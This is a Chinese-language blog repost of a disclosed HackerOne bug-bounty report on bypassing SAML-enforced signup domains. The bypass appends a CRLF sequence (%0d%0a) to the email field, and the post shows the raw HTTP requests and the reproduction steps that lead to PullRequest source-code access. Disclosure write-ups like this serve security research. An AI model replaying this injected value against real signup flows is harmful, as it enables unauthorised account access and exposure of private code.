声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
防丢失:https://gugesay.com
不想错过任何消息?设置星标↓ ↓ ↓
概述
对于启用 SAML 组织的新用户注册,可以通过控制尾部字符绕过 SAML 注册域。
虽然所述问题会影响所有启用了该功能的组织,但也有可能利用它访问 PullRequest HackerOne 组织,让真正的攻击者访问 Pull Requests 中的 HackerOne 源代码。
详情披露
在 hackerone.com 上注册时,HackerOne SSO 强制执行的电子邮件域不允许进行常规注册,对 /POST users 的请求返回到 SSO 提供商的重定向:
POST /users HTTP/1.1
Host: hackerone.com
...
user%5Bname%5D=[NAME]&user%5Busername%5D=[USERNAME]&user%5Bemail%5D=email%40example.com&user%5Bpassword%5D=[PASSWORD]&user%5Bpassword_confirmation%5D=[PASSWORD]
{"redirect_path":"/users/saml/sign_in?email=email%40example.com"}
但是,在电子邮件参数末尾添加 %0d%0a 将会使请求通过:
POST /users HTTP/1.1
Host: hackerone.com
...
user%5Bname%5D=[NAME]&user%5Busername%5D=[USERNAME]&user%5Bemail%5D=email%40example.com%0d%0a&user%5Bpassword%5D=[PASSWORD]&user%5Bpassword_confirmation%5D=[PASSWORD]
{"redirect_path":"/users/sign_in","errors":{}}
然后,使用实际电子邮件 [email protected] 登录就可以了,但随后会执行电子邮件验证,如果电子邮件所有者在某个时候点击 HackerOne 标准验证电子邮件,访问帐户就会成功。
由于 hackerone.com 本身就是支持 SAML 组织的一个域名组成部分,如果攻击者创建了多个账户,向 @hackerone.com 用户发送合法的验证电子邮件,其中一个账户点击后,通过 https://app.pullrequest.com/login 上的 "Sign in with HackerOne "访问 PullRequest,就可以顺利访问源代码。
按照以下步骤与 @jobert 一起创建一个 [email protected] 帐户,然后允许访问 PullRequest:
复现步骤
1. 前往 https://hackerone.com
2. 使用你能控制的@hackerone.com 电子邮件以攻击者身份注册,例如[email protected] 或 [email protected],此时你会被重定向到 SSO 登录
3. 尝试再次注册并拦截对 POST /users 的请求,并在电子邮件参数末尾添加 %0d%0a
4. 作为受害者,在单独的会话中单击确认电子邮件
5. 作为原始会话的攻击者,使用你为帐户选择的密码登录
6. 转到 https://app.pullrequest.com/login 并单击“使用 HackerOne 登录”
7. 攻击者将有权访问 HackerOne 基础设施代码库的所有拉取请求,包括源代码访问
漏洞最终被Hackerone评级为高危(8.2),赏金奖励未披露。
漏洞报告:https://hackerone.com/reports/2101076
加入星球,随时交流:
(前50位成员):99元/年(后续会员统一定价):128元/年感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~====正文结束====
原文始发于微信公众号(骨哥说事):SAML 注册域绕过实现Hackerone PullRequest 组织的未授权访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论